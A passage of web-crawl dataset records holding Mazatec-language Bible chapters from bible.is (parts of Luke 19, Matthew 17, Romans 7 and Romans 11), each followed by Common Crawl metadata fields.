xi̱ta̱‑la̱ nga kiìko̱ ján Jerusalén. 29K'e̱ nga jye ijchò chrañà jñà na̱xa̱ndá xi 'mì Betfagé ko̱ Betania ya̱ chrañàt'aà‑la̱ jè nindoò xi 'mì Yá Olivo, kisìkasén jò xi̱ta̱ xi kota'yàt'aà‑la̱. 30Kitsò‑la̱: ―Tanguió ján ndí na̱xa̱ndá i̱tsé xi kijnat'aà ján; k'e̱ nga kijchoò, ya̱á síjnat'aà'ñó jngoò ndí búrró ki'ndí xi ni̱ sa̱ yá xi̱ta̱ bìjnasòn‑la̱. Chíjnda̱'ñó, nchrohóko̱o. 31Tsà yá xi kjònangui‑nò, tsà ki̱tso̱‑nò: \"¿Mé‑ne chíjnda̱'ñó‑nò?\", tìn‑là: \"Jè xó Na̱'èn‑ná Jesús ko̱chjeén‑la̱.\" 32Kiì jñà xi̱ta̱‑la̱; k'oa̱á s'ín kisakò‑la̱ koni s'ín tsibéno̱jmí‑la̱ Jesús. 33K'e̱ nga nchikíjnda̱'ñó ndí búrró ki'ndí, kitsò nei‑la̱: ―¿Mé‑ne chíjnda̱'ñó‑nò ndí búrró? 34Jñà xi̱ta̱‑la̱ Jesús kitsò: ―Jè xó ko̱chjeén‑la̱ Na̱'èn‑ná Jesús. 35K'e̱ nga ijchòko̱ ñánda tíjna Jesús, jñà kisìkjeén nikje‑la̱ nga tsohójtsa‑la̱ ndí búrró; i̱kjoàn kisìkíjnasòn‑la̱. 36Koni s'ín tífì Jesús, jñà xi̱ta̱ tsohójngoò nikje‑la̱ ya̱ i̱ya ndi̱yá. 37K'e̱ nga jye kjòchrañàt'aà nga nchifìjen ya̱ nindoò Yá Olivo, ngats'iì xi̱ta̱ xi kota'yàt'aà‑la̱ xi tji̱ko̱ tsibíts'ia̱ nga 'ñó kiìchja̱ xi nguì tà kjo̱tsja‑la̱ nga kitsjaà‑la̱ kjo̱ndaà Nainá nga koií kjoa̱‑la̱ jñà kjo̱xkón xi jye kijtseè. 38Kitsò: ―Mé tà ndaà‑la̱ jè xi̱ta̱xá ítjòn xi jè nchrobá ngajo‑la̱ Nainá. Tjín kjoa̱'nchán i̱t'aà ngajmiì. Ti̱koa̱ tjín kjoa̱jeya. 39Jñà xi̱ta̱ fariseo xi ya̱ ta̱ña tji̱ko̱ xi̱ta̱ kjìn kitsò‑la̱: ―¡Maestro, jchi̱tikoi̱i xi̱ta̱ xi kota'yàt'aà‑lè! 40Ta̱nga jè Jesús kitsò‑la̱: ―K'oa̱á xán‑nò tsà jñà xi̱ta̱ koi kítsa̱jnajyò, jñà nda̱jo̱ ki̱chja̱. 41Jesús, nga jye ijchò chrañà na̱xa̱ndá Jerusalén, k'e̱ nga kijtseèxkon, kiskindàyakeè xi i̱t'aà ts'e̱ na̱xa̱ndá. 42Kitsò: ―Jñò xi xi̱ta̱ na̱xa̱ndá Jerusalén 'mì‑nò, tsà jè‑là‑ne na̱chrjein i̱'ndei̱ ko̱kjeiín‑nò i̱t'aà ts'e̱ jè kjoa̱ xi tsjá‑nò kjoa̱'nchán; ta̱nga i̱'ndei̱, tjí'maá‑nò. 43Kjoi̱í na̱chrjein k'e̱ nga jñà kondra̱‑nò koi̱ìndiì‑nò chrjó nda̱jo̱, si̱ìkinda̱‑nò ko̱ kít'aà‑nò nga jngoò itjandiì. 44Jngoò k'a si̱ìkjehesòn‑nò, si̱ìk'en yijeé‑nò; ni̱í ti̱ jngoò nda̱jo̱ si̱yijòsòn‑la̱ xíkjín. Koií jé xi ko̱ma‑nò nga mìkiì kiyaxkoòn Nainá k'e̱ nga j'iì katsejèn‑nò. 45Jesús jahas'en ya̱ ñánda kijna i̱ngo̱ ítjòn, i̱kjoàn tsibíts'ia̱ nga tsachrje jñà xi̱ta̱ xi nchihotíjna ko̱ xi nchihotse tsojmì; 46kitsò‑la̱: ―K'oa̱á s'ín tíchja̱ Xo̱jo̱n xi tjít'aà 'Én Tsjeè‑la̱ Nainá: \"Ni'ya‑na̱, ni'ya ts'e̱ o̱chikon‑né, ta̱nga jñò, nguijo‑la̱ xi̱ta̱ chijé titsa̱'nè.\" 47Jesús, na̱chrjein inchijòn tsakóya‑la̱ xi̱ta̱ ya̱ ndi̱tsin i̱ngo̱ ítjòn; jñà xi̱ta̱ sko̱‑la̱ no̱'miì, xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, ko̱ jñà xi̱ta̱ sko̱‑la̱ na̱xa̱ndá, nchihótsji'nde‑la̱ nga mejèn‑la̱ si̱ìk'en Jesús. 48Ta̱nga mìkiì kisakò‑la̱ kó s'ín si̱ìko̱ nga jñà xi̱ta̱ na̱xa̱ndá, 'ñó ndaà nchi'nchré‑la̱ koni s'ín tsò 'én xi tíbéno̱jmí.\nSan Lucas 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/19","date":"2013-12-13T16:05:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164959491\/warc\/CC-MAIN-20131204134919-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":934,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra ma jon ni̱chjin Jesús kiìko̱ó jè Pedro, ko̱ Jacobo ko̱ jè 'ndse̱ Jacobo ra 'mì Juan. A̱'ta xín kijì nga kijìmijno jngo nindo ra 'ñó 'nga 'ki. 2Ko̱ 'kia̱ nga ijchò ya̱ i̱jndáa̱, Jesús jahatjìya‑la̱ koni 'sín nga 'ki ya̱ ngixko̱n jñà xi̱ta̱‑la̱. Jè i̱sén‑la̱, 'koa̱á 'sín 'ñó fate tsatsíjen koni 'ki jè tsá'bí, ko̱ jè nikje‑la̱, ngi 'koa̱á 'sín kjochraba koni tsa ni'í. 3Jñà xi̱ta̱‑la̱ Jesús ra tji̱ko̱, tà ndi̱to̱ón tsatsíjen‑la̱ jè Moisés ko̱ jè Elías nga i̱nchibáko̱ Jesús. 4'Kia̱á kiìchja̱ Pedro nga kitsò‑la̱ Jesús: ―Na̱'ìn, ndaá‑ni i̱ titsa̱jna‑ji̱n; tsa mejèn‑li, maá jàn ni'ya tji̱kien kínda‑ji̱n, jngo ra tsa̱ji, jngo ra 'tse̱ Moisés ko̱ jngo ra 'tse̱ Elías. 5'Kia̱ nga tíchja̱‑isa jè Pedro, jngo ifi tsikíjtsa'ma ra 'ñó fate koni tsa ni'í, ko̱ ya̱ a̱jin ifi ina'yá jngo‑la̱ 'én ra kitsò: ―Jé ra̱kìi̱ I'ndí‑na̱ ra 'ñó tsjake̱ ko̱ 'ñó tsja tjín‑na ra a̱'ta 'tse̱. Jé ti̱ná'ya‑la. 6Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús 'kia̱ nga kií'nchré 'én ra̱kìi̱, ngi tsincha-xkó'nchi‑ní nga tsincha‑niñanè i̱sén‑la̱ skanda a̱'ta nangi, nga 'ñó itsakjòn. 7Jesús, 'kia̱á inchrabà kasi'ta chraña‑la̱ nga kiskaájno, kitsò‑la̱: ―Ti̱sítje̱en, kì tà chjàn skon. 8'Kia̱ nga iskotsíjen jñà xi̱ta̱‑la̱, mì kì ti̱ yá tjín‑ni; ta jè ta̱jngoó Jesús síjna. 9'Kia̱ nga i̱nchinchrabájen‑ni ya̱ nindo, Jesús kitsjá‑la̱ kjo̱hixi̱, kitsò‑la̱: ―Kì yá ra 'bèna̱jmí‑la jè kjoa̱ ra ka'ya skanda 'kia̱ nga kjoa̱áya‑na a̱'ta 'tse̱ kjo̱biya 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱. 10Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús iskonangi‑ní, kitsò: ―¿Mé‑ni ko̱tsò‑ni jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés nga jè Elías, tjínè‑la̱ nga kj'i̱í ítjòn? 11Jè Jesús kitsó‑la̱: ―Kixi̱í kjoa̱, jé Elías ra kj'i̱í ítjòn, ko̱ jè si̱ìkíhijyondá ijye‑ni nga'tsì xi̱ta̱. 12Tanga 'koa̱á xín‑no, jè Elías ijyeé 'ji ko̱ mì kì yá ra kijtsexkon; jñà xi̱ta̱ 'koa̱á 'sín isìko̱ koni 'sín kjomejèn‑la̱ ra jñà. 'Koa̱á ti̱'sín ka̱ma'tiaa̱n 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ nga tseé kjo̱hi'in sikjiáa̱n a̱'ta 'tse̱ xi̱ta̱ kìi̱. 13Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, 'kia̱á kjòchi̱ya‑la̱ nga jè ra ko̱títsò‑la̱, jé a̱'ta 'tse̱ Juan ra batíndá xi̱ta̱. 14'Kia̱ nga ijchò ya̱ ñánda̱ 'ñó kjìn ma‑ni xi̱ta̱ títsa̱jna, jngo xi̱ta̱ ijchòkasi'ta‑la̱ ra tsasèn-xkó'nchi'ta‑la̱, kitsò‑la̱: 15―Na̱'ìn, jcha̱hi̱ma̱takìn jè i'ndí‑na̱. 'Chin biya‑xín tjín‑la̱. Batoó 'ñó tse kjo̱hi'in tísíkjiín. Kjokjín 'ka̱ ya̱ kàtje̱n‑jin ya̱ a̱jin ni'í ko̱ kjokjín 'ka̱ ya̱ kàtje̱n‑jin nandá. 16Jñà xi̱ta̱ ra kotá'yá'ta‑li ká'fìi̱ko̱‑la̱, tanga mì kì ma‑la̱ kásínda‑ni. 17Jesús kitsó‑ní: ―Jiòn xi̱ta̱ ra 'cho 'nià ko̱ ra mì kì nda makjiín‑no ra a̱'ta tsa̱'a̱n. ¿A ta 'a̱án kóti̱jnako̱ ki'ta‑no skanda ta mé ni̱chjin‑nioo̱? ¿Kó'sín ko̱ma‑ni nga chíkjoa̱‑na kjoa̱ ra 'nià jiòn? Nchrabáko̱‑ná i̱jndíi̱ jè ti. 18Jesús tsakátiko̱ó jè inìma̱ 'cho‑la̱ ni̱í ko̱ ndi̱to̱ón itjokàjin‑ni ya̱ inìma̱‑la̱ ti. Ti̱'kia̱á kjonda ndi̱to̱n‑nì jè ti. 19Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús 'kia̱á iskonangi 'taxìn‑la̱, kitsò‑la̱: ―¿Mé‑ni ngaji̱n mì kì kàma kanachrjejin‑naji̱n jè inìma̱ 'cho‑la̱ ni̱í? 20Jesús kitsó‑la̱: ―Kií ko̱ma‑ni, batoó chiba makjiín‑no ra a̱'ta tsa̱'a̱n. 'Koa̱á xin kixi̱‑no, tsa ta 'koa̱à‑la 'ki ko̱kjiín i̱tsé‑najiòn koni 'sín i̱tsé 'ki jè xojmá mostaza, ko̱maá‑la 'kín‑la̱ jè nindo ra̱kìi̱: \"Ta̱xi̱xín i̱jndíi̱, xìn i̱'nde 'tin\", jè nindo, ko̱se̱n'táxín‑ní. Ni̱mé ra mì kì ki̱tjasòn‑no. 21Jè inìma̱ 'cho‑la̱ ni̱í ra ko̱'sín 'sío̱n, 'kia̱á bitjokàjin 'kia̱ nga bitsa'beé ko̱ nga bìtsa̱chjeén a̱'ta 'tse̱ Nainá. 22'Kia̱ nga tíjna Jesús ya̱ i̱'nde ñánda̱ 'mì Galilea, kitsó‑la̱ xi̱ta̱‑la̱: ―'A̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, ya̱á ko̱nga̱tsja jñà xi̱ta̱, 23a̱kjòn si̱ì'keén‑na. Tanga 'kia̱ nga ki̱jchò jàn ni̱chjin, kjoa̱áya‑ina. Jñà xi̱ta̱‑la̱ 'kia̱ nga kií'nchré, taxki̱ baá ki'se‑la̱. 24'Kia̱ nga ijchò Jesús ko̱ xi̱ta̱‑la̱ ya̱ na̱xi̱ndá Capernaum, jñà xi̱ta̱ ra síkíchjítjì tsajmì ra a̱'ta 'tse̱ i̱ngo̱ iskonangií‑la̱ Pedro kitsò‑la̱: ―Jè Maestro‑li, ¿a bíchjítjí tsajmì ra a̱'ta 'tse̱ i̱ngo̱? 25Jè Pedro kitsó‑la̱: ―Bíchjítjí‑ní. 'Kia̱ nga 'jaha'sen ni'ya jè Pedro, jè Jesús kiìchja̱ ítjòn‑la̱, kitsò‑la̱: ―¿Kósii̱ ra ji̱ Simón? Jñà xi̱ta̱xá ítjòn ra títsa̱jna i̱ i̱sà'nde, ¿yá xi̱ta̱‑nì ra síkíchjítjì tsajmì? ¿A jñà xi̱ta̱ ra i̱ na̱xi̱ndá‑la̱ o̱ ra jñà xi̱ta̱ ra xìn i̱'nde‑la̱? 26Jè Pedro kitsó‑ní: ―Jñá‑la xi̱ta̱ ra xìn i̱'nde‑la̱. 'Kia̱á kitsò Jesús: ―Jñà ra i̱ na̱xi̱ndá‑la̱, mí‑la tsa tjínè‑la̱ nga tsajmì ki̱ìchjítjì. 27Tanga mé‑ni nga mì 'cho ki̱tso̱‑ná, 'tin ya̱ ján a̱ndi ndáchikon ján; ko̱ ti̱kàtje̱n‑jin‑ndí jè ki̱cha̱‑li ra tsabà ti̱; ko̱ jè ti̱ ra ki̱náchrje ítjìn, chjí'xi̱i tsa'ba; ya̱á tjí'a jngo to̱n ra ki̱chóya‑la̱ nga kíchjítjié tsajmì ra a̱'ta 'tse̱ i̱ngo̱ ta ngajò‑ná; a̱kjòn tiko̱‑la̱ ko̱ tíchjí‑la̱ jñà xi̱ta̱ kìi̱.\nSan Mateo 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/17","date":"2013-12-09T11:35:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163966854\/warc\/CC-MAIN-20131204133246-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":696,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn 'ndsé ndaá tjíjin‑no, jè kjo̱téxoma, skanda ya̱á fehe'ta nga'ñó‑la̱ 'kia̱ nga biya jè xi̱ta̱. Jiòn‑nó ra ko̱'sín tíxian‑no, jiòn ra ijye nda tjíjin‑no kó'sín tíchja̱ kjo̱téxoma. 2'Koa̱á ngoya‑la̱ koni jngo chjo̱ón ra tjín‑la̱ 'xi̱n; 'koa̱á 'sín tsò kjo̱téxoma nga mì kì ko̱ma tsjín‑ni xákjén 'kia̱ nga takó títsa̱jnakon ngajòo̱. Tanga tsa ki̱yá jè 'xi̱n‑la̱, jè chjo̱ón, ijyeé tíjnandi̱í‑ni a̱'ta 'tse̱ kjo̱téxoma ra̱kìi̱. 3'Kia̱ takó tíjnakon 'xi̱n‑la̱ jè chjo̱ón, ko̱ tsa kj'ií xi̱ta̱ 'xi̱n ki̱xan‑ko̱, kjoa̱ chijngií ra tí'sín, tanga tsa ijye 'ken 'xi̱n‑la̱, jè chjo̱ón, ijyeé tíjnandi̱í‑ni ra kjoa̱ 'tse̱ kjo̱téxoma ra̱kìi̱; ko̱maá ki̱xan‑ko̱ india‑ni ra kj'ií xi̱ta̱ 'xi̱n. Mì tsa ti̱ kjoa̱ chijngi‑ni ra 'si̱in. 4'Koa̱á ti̱'sín tjín ra a̱'ta tsa̱jiòn‑jiòn ra 'ndsé chibé, ijyeé 'ken‑nájiòn ra a̱'ta 'tse̱ nga'ñó ra tjín‑la̱ kjo̱téxoma, ta nga̱tjì‑la̱, 'kia̱ nga 'ken jè Cristo, ya̱á ta̱ña 'ken'ta‑la jiòn, mé‑ni nga 'ndi̱ 'ndi̱ jè ki̱chja̱'nda‑no jè Cristo ra jaáya‑la̱ ya̱ a̱jin‑la̱ mi'ken, ko̱ mé‑ni nga kata'ya‑la̱ ra a̱'ta tsa̱jién kjo̱nda ra jè Nainá sasén‑la̱. 5'Kia̱ nga ti̱'sa̱, ya̱á tsikìtsa̱jnajieén kjoa̱ 'tse̱ jé ra isíjé ijo‑ná. Ko̱ 'kia̱ nga 'ji jè kjo̱téxoma, ta isa̱á jnchro isa̱ 'ñó isíjé ijo‑ná jñà ra kjoa̱'cho. Ko̱ jñà kjoa̱'cho ra iskajieén, kjo̱biyaá ìko̱‑ná. 6Tanga 'ndi̱ 'ndi̱, ijyeé 'keén ra a̱'ta 'tse̱ kjo̱téxoma ra kitsabá'ñó‑ná kjotseé; titsa̱jnandi̱í‑ná ko̱ ijyeé maá si̱xá‑lá Nainá nga jngo kjoa̱ xi̱tse̱ tja'ché koni 'sín bakón‑ya‑ná jè Inìma̱ Tsje‑la̱ Nainá. Mì tsa ti̱ ko̱'sín 'sia̱n‑ná koni 'sín tjín kjo̱téxoma jchínga ra xa̱jo̱n tjí'ta. 7¿Kó'sín kixé? Ra kjoa̱ 'tse̱ kjo̱téxoma, ¿a 'choó tjín? ¿A kjoa̱ 'tse̱ jé‑ní? Majìn. Mì tsa ko̱'sín tjín‑jìn. 'Koa̱á ngoya‑la̱ koni tsa 'a̱n, tsa tsìn kjo̱téxoma, mí‑la kì kíjtsee̱ ñáa̱‑ni ra kjoa̱ 'tse̱ jé. Ko̱ mí‑la kì kjòchi̱ya‑na kótsò‑ni nga mì kì ma si̱kjaájieén tsajmì ra mì tsa̱jién, tsa mì jè kjo̱téxoma ko̱'sín 'béna̱jmí‑ná nga tsò: \"Kì jñà nìkjaajin tsajmì ra mì ji̱ bako̱‑li.\" 8Tanga jè kjoa̱ 'tse̱ jé, ta isa̱á ya̱ isakò-isa‑la̱ nga'ñó ra a̱'ta 'tse̱ kjo̱téxoma; 'koa̱á kjomà‑ni, ta isa̱á 'ñó kjín ndi̱yá‑la̱ tsajmì ra jahajin‑isa‑na ra mì tsa 'a̱n bako̱‑na. 'Koa̱á ma‑ni, tsìn‑la̱ nga'ñó ra kjoa̱ 'tse̱ jé, 'kia̱ nga mì tsa kjo̱téxoma tjín. 9'Kia̱ nga ti̱'sa̱ kjotseé, ta 'koa̱á 'sín tsakáti̱jnaa̱ nga mì kì kíjtsee̱ kó'sín tjín kjo̱téxoma. Tanga 'kia̱ nga ijye kíjtsexkon jè kjo̱téxoma, jè kjoa̱ 'tse̱ jé isa̱á 'ñó ki'se‑la̱ nga'ñó; 'koa̱á ma‑ni nga ta kjo̱biyaá isakò‑na. 10Jè kjo̱téxoma ra tjínè‑la̱ nga kjo̱binachon tsjá‑ná, tà isa̱á kjo̱biya kitsjá‑na. 11Tanga jè kjoa̱ 'tse̱ jé, ta isa̱á ya̱ isakò‑la̱ nga'ñó ra a̱'ta 'tse̱ kjo̱téxoma nga iskonda̱cha̱‑na, 'koa̱á ma‑ni nga kjo̱biya isakò‑na. 12Ra kixi̱ kjòn‑ni kjoa̱, jè kjo̱téxoma, tsjeé tjín; nga koni 'sín batéxoma jñà 'én ra tjí'ta, tsje‑ní, kixi̱‑ní, ko̱ ndaá tjín. 13¿Tanga kó'sín tjín? ¿A ta isa̱á jnchro jè kjoa̱ ra nda tjín 'jií sí'ken‑na? Majìn, mì tsa ko̱'sín tjín‑jìn. Mé‑ni kata'ya‑la̱ nga jè kjoa̱ 'tse̱ jé, nga 'ñó 'cho tjín, 'koa̱á ma‑ni nga jè jnchro kjoa̱ 'tse̱ jé, kiìko̱jin‑na kjo̱biya nga iskábé ra kjoa̱ 'tse̱ kjo̱téxoma ra nda tjín, mé‑ni nga a̱'ta 'tse̱ kjo̱téxoma kata'ya‑la̱ nga 'ñó 'cho tjín ra kjoa̱ 'tse̱ jé. 14'Ya‑ná nga jè kjoa̱ 'tse̱ kjo̱téxoma, kjo̱bítsjen 'tse̱ Inìma̱ Tsje‑la̱ Nainá‑ní; tanga ra 'a̱n, ijo jé tsá'ya̱; ya̱á nga̱tsja‑na ra kjoa̱ 'tse̱ jé. 15Mì kì machi̱ya‑na mé kjoa̱ ra 'sín ijo‑na̱. Jñà kjoa̱ ra nda tjín ra mejèn‑na nga 'siaa̱n, mì tsa jè sìhitjásòo̱n. Tà isa̱á jñà kjoa̱ ra mì kì sasén‑la̱ inìma̱‑na̱ síhitjasòn ijo‑na̱. Jñà kjoa̱ ra 'siaa̱n, mì kì machi̱ya‑na. 16'Kia̱ nga ko̱'sín 'sín ijo‑na̱ jñà kjoa̱ ra mì tsa 'a̱n mejèn‑na, 'koa̱á 'sín xiaa̱n nga kixi̱í kjoa̱ nga ndaá tjín koni 'sín tíchja̱ kjo̱téxoma. 17'Kia̱ nga ko̱'sín 'sín ijo‑na̱ nga bátsji‑jé, mì tsa ti̱ 'a̱n‑naa̱ ra ko̱'sín 'siaa̱n, jè kjoa̱ 'tse̱ jé ra ya̱ tíjnajin ya̱ ijo‑na̱ ra ko̱'sín 'sín. 18'A̱n ra xi̱ta̱ i̱sà'nde 'mì‑na, be‑ná nga mì kì nda tjín kjoa̱ ra tíjnajin ya̱ ijo‑na̱. Nga̱ mejèn‑na nga nda 'siaa̱n ra 'a̱n, tanga jè ijo‑na̱ mì kì ma‑la̱ síhitjasòn kjoa̱ ra nda tjín. 19Mì tsa ko̱'sín 'siaa̱n koni 'sín tjín kjo̱nda ra 'a̱n mejèn‑na 'siaa̱n; tà isa̱á jñà sìhitjásòo̱n jñà kjoa̱'cho ra mì 'a̱n mejèn‑na 'siaa̱n. 20'Kia̱ nga ko̱'sín 'siaa̱n jñà kjoa̱'cho ra mì jè inìma̱‑na̱ mejèn‑la̱, mì tsa ti̱ 'a̱n‑naa̱ ra ko̱'sín 'siaa̱n, jé kjoa̱ 'tse̱ jé ra ya̱ tíjnajin ijo‑na̱ ra ko̱'sín 'sín. 21Nga̱ ni̱'sín mejèn‑na nga nda 'siaa̱n, ta isa̱á kj'ií 'sín tjín kjo̱hixi̱ ra sakó‑na a̱'ta tsa̱'a̱n: Nga tà kjoa̱'cho tíjnajin ki'ta ya̱ ijo‑na̱. 22Tanga ra ya̱ a̱jin inìma̱‑na̱ batoó matsja‑la̱ ra a̱'ta 'tse̱ kjo̱téxoma‑la̱ Nainá. 23Tanga tjín ìjngo kjoa̱ ra ya̱ tísíxájin ya̱ ijo‑na̱ ra mì kì tsjá'nde‑na nga nda 'siaa̱n; jè kjoa̱ 'tse̱ jé ra tíjnajin‑na, kjaán‑kjo‑ní ko̱ kjo̱bítsjen‑na̱ ra mejèn‑la̱ nga nda 'si̱in. Ko̱ jé kjoa̱ 'tse̱ jé ra tísíxájin ijo‑na̱ síkijne‑na nga ko̱'sín 'cho 'siaa̱n. 24I̱ma̱‑ró‑na ra 'a̱n. ¿Yá ra ma‑la̱ ko̱chrjekàjin‑na a̱'ta 'tse̱ nga'ñó‑la̱ kjo̱biya ra tjín‑la̱ ijo jé‑na̱? 25Ta̱ jngoó jè Nainá. Kií ko̱'sín xin‑la̱ a̱'ta 'tse̱ Na̱'ín‑ná Jesucristo nga tse kjo̱nda kata'se‑la̱ ra jè. Jè 'én ra ko̱tíxian‑no, jè‑ní nga ya̱á a̱jin kjo̱bítsjen‑na̱ sìhitjásòo̱n koni 'sín tjín kjo̱téxoma‑la̱ Nainá, tanga jè ijo‑na̱, takó ya̱á kjinè‑la̱ kjo̱téxoma ra kjoa̱ 'tse̱ jé.\nRomanos 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/7","date":"2013-12-06T20:35:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052469\/warc\/CC-MAIN-20131204131732-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":833,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱án kjònanguia, jè Nainá, ¿a kitsjeiìn takòn na̱xa̱ndá‑la̱ Israel? Majìn, mì k'oa̱á s'ín tjín. 'A̱n, ti̱koa̱á xi̱ta̱ Israel‑ná, tje̱‑la̱á ma Abraham, xi̱ta̱ xinguia̱á ma xi ya̱ nchrobát'aà‑ne ts'e̱ Benjamín. 2Nainá mìtsà tsachrjekàngui na̱xa̱ndá‑la̱ nga jye tíjiìn‑la̱ nga ti̱sa̱ tàts'en‑la̱ kjoa̱ nga i̱xti‑la̱ ko̱ma. ¿A mì tíjiìn‑nò koni tsò Xo̱jo̱n‑la̱ Nainá i̱t'aà ts'e̱ Elías nga k'oa̱s'ín chja̱t'aà‑la̱ Nainá xi kondra̱ ts'e̱ Israel? Tsò: 3\"Na̱'èn, jñà xi̱ta̱‑lè xi kiìchja̱ ngajo‑lè, jyeé kisìk'en xi̱ta̱, koa̱ jñà i̱'nde tsjeè‑lè jyeé kisìkits'óña; tà 'a̱n ta̱jngoò tìjna̱a ìsa̱, ti̱koa̱á mejèn‑la̱ si̱ìk'en‑na̱.\" 4Ta̱nga k'oa̱á tsò 'én xi tsjá Nainá: \"Majìn, mìtsà tà ji̱ ta̱jngoò tijni. Itoò jmiì ma‑ne xi̱ta̱ xi 'a̱n títsa̱jnatjò‑na̱ xi kj'eè tsà ya̱ bincha-xkó'nchit'aà‑la̱ xkósòn‑la̱ Baal.\" 5Na̱chrjein i̱'ndei̱ tákó k'oa̱á s'ín ma, tjín ìsa̱ xi̱ta̱ Israel xi títsa̱jnatjò‑la̱ Nainá xi xó jaàjiìn‑ne xi kjo̱ndaà ts'e̱. 6Tsà tà kjo̱ndaà ts'e̱é Nainá nga k'oa̱s'ín jaàjiìn xi̱ta̱, tsòyaá‑ne mìtsà koi kjoa̱‑la̱ kjo̱ndaà xi kis'iìn. Ta̱nga tsà koií kjoa̱‑la̱ kjo̱ndaà xi kis'iìn, mì‑la tsà ti̱ kjo̱ndaà‑la̱ Nainá kjòchjeén‑ne nga kitjaàjiìn xi̱ta̱. 7¿Kó s'ín tjín kjoa̱? Tsòyaá‑ne nga kjín xi̱ta̱ Israel mìkiì ijchòtji̱ngui‑la̱ jè kjoa̱ xi tsohótsji. Ta̱nga kis'e i'nga xi̱ta̱ xi xó jaàjiìn‑ne Nainá xi jye ijchòtji̱ngui‑la̱. Jñà xi̱ta̱ xi i'nga, 'ñó kjòtájaàjiìn ini̱ma̱‑la̱. 8K'oa̱á s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: \"Nainá, kitsjaà‑la̱ nga kisìjñòjiìn ini̱ma̱‑la̱; jñà xko̱n mìkiì tsejèn‑la̱, ko̱ líká‑la̱, mìkiì 'nchré skanda na̱chrjein i̱'ndei̱.\" 9Jè xi̱ta̱xá ítjòn David k'oa̱á ti kitsò: Jè s'eí xi ochrje, ti̱jè kàtama‑ne ch'a̱n nga kàtakaàngui, kàtasiya'ñó na̱'ya, ko̱ ti̱jñà kàtasatíngui‑ne mé‑ne nga kàtas'e‑la̱ kjo̱'in. 10Kàtasichjoà xko̱n mé‑ne nga mìkiì ko̱tsejèn‑la̱ nga kjit'aà na̱chrjein kàtamatsit'in íts'i̱n. 11'A̱n kjònangui‑ná, ¿a jngoò k'a chixòt'aà nangui jñà xi̱ta̱ Israel k'e̱ nga kisatèngui? Majìn. Mì k'oa̱á s'ín tjín kjoa̱. Jè kjoa̱‑la̱ nga mìkiì kisìkitasòn jñà xi̱ta̱ Israel, jñà kitjoé‑la̱ xi mìtsà xi̱ta̱ judío nga tsibìtsa̱jnandei̱í xi kjoa̱ ts'e̱ jé‑la̱. K'oa̱á s'ín komà mé‑ne nga jñà xi̱ta̱ judío kàtachi̱ni̱‑ne i̱t'aà ts'e̱ kjo̱ndaà‑la̱ Nainá. 12Tsà jñà xi̱ta̱ i̱sò'nde kisakò‑la̱ kjoa̱nchi̱ná‑la̱ Nainá k'e̱ nga jñà xi̱ta̱ judío mìkiì kisìkitasòn‑la̱ Nainá ko̱ kisìchijà kjo̱ndaà‑la̱, ìsa̱á ta 'ñó ndaà s'e̱‑la̱ kjoa̱ machikon‑t'in jè i̱sò'nde k'e̱ nga jñà xi̱ta̱ judío ìjngoò k'a skoé i̱'nde‑la̱ ya̱ nguixko̱n Nainá. 13Jñò chjàko̱‑nò xi mìtsà xi̱ta̱ judío mì‑nò. 'A̱n kisìxáya‑na̱ nga 'a̱n kichjàjiìn‑la̱ jñà xi mìtsà xi̱ta̱ judío. 'A̱n beèxkón‑ná xá xi kits'iì‑na. 14Tsà koií na̱chrjein‑la̱ ko̱chi̱ni̱í i'nga xi̱ta̱ xinguia̱a mé‑ne nga ti̱koa̱ ko̱ma kítsa̱jnandei̱í‑ne xi kjoa̱ ts'e̱ jé‑la̱. 15Tsà jñà xi̱ta̱ i̱sò'nde kisakò‑la̱ kjoa̱'nchán i̱t'aà ts'e̱ Nainá k'e̱ nga jñà xi̱ta̱ judío itjokàngui, ìsa̱á tse kjo̱ndaà sa̱kò‑la̱ jñá xi̱ta̱ judío k'e̱ nga skoétjò ìjngoò k'a‑ne Nainá. Skanda k'oa̱á s'ín ko̱mat'in koni jngoò xi̱ta̱ xi jye k'en ko̱ kjoa̱áya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà. 